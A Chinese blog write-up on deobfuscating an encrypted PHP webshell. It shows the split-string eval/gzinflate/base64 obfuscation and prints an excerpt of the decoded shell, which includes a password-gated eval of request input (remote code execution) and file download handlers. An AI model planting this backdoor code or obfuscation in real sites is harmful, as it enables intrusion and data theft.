记一次php webshell破解的经历
由于学习需要最近注册了一个国外的php空间 鉴于自带php管理系统体验太差 想找一个靠谱的webshell来代替 经过几分钟的搜索 终于在网上找到了一个界面和功能都很不错的php webshell
如图:
当我想再加上自己diy的几个功能时 打开代码一看:
竟然是乱码! 于是。。心中闪过了一些邪恶的想法。。破解它!
首先 我注意到了base64_encode这个函数,于是 写了一个<?php echo base64_decode($str)?>来讲代码显示出来 结果出现了下面的一幕:
我尼玛 比刚才还乱。
又回头仔细看了看代码 发现主要解释加密的代码部分是这样写的:
e'.'va'.'l(gz'.'inf'.'lat'.'e(bas'.'e64_'.'deco'.'de(\'7L35dxzXfSf6......加密部分采用了base64编码 但是我忽略了gzinflat()函数!代码是先将加密部分解码 然后再解压缩来执行的!
将eval改成echo 果然:
由于php在输出网页时还会自己添加一些标签影响到代码的提取 因此我将echo改为了file_put_contents()
file_put_contents("shell.php",gz'.'inf'.'lat'.'e(bas'.'e64_'.'deco'.'de(\'大功告成!
ob_start(); define('myaddress',$_SERVER['SCRIPT_FILENAME']); define('envlpass',$password); define('shellname',$shellname); define('myurl',$myurl); if(@get_magic_quotes_gpc()){ foreach($_POST as $k => $v) $_POST[$k] = stripslashes($v); foreach($_GET as $k => $v) $_GET[$k] = stripslashes($v); } if(isset($_REQUEST[envlpass])){ hmlogin(2); @eval($_REQUEST[envlpass]); exit;} if($_COOKIE['envlpass'] != md5(envlpass)){ if($_POST['envlpass']){ if($_POST['envlpass'] == envlpass){ setcookie('envlpass',md5($_POST['envlpass'])); hmlogin(); }else{ echo '<CENTER>用户或密码错误</CENTER>'; } } islogin($shellname,$myurl); exit; } /*---End Login---*/ if(isset($_GET['down'])) do_down($_GET['down']); if(isset($_GET['pack'])){ $dir = do_show($_GET['pack']); $zip = new eanver($dir); $out = $zip->out; do_download($out,"eanver.tar.gz");................
总结:①虽然这次只是个简单的函数替换破解 但是恭喜自己走出了重要的一步
②这次破解充分证明了php代码的不易加密是一个很大的弊端 它造就了php程序的开放,也造成了众多的侵权问题。
③不得不承认 作者对php了解的很透彻 代码写得特别棒 有很多很多值得我学习的地方
④实践比理论重要的多。
郑重声明:本站内容如果来自互联网及其他传播媒体,其版权均属原媒体及文章作者所有。转载目的在于传递更多信息及用于网络分享,并不代表本站赞同其观点和对其真实性负责,也不构成任何其他建议。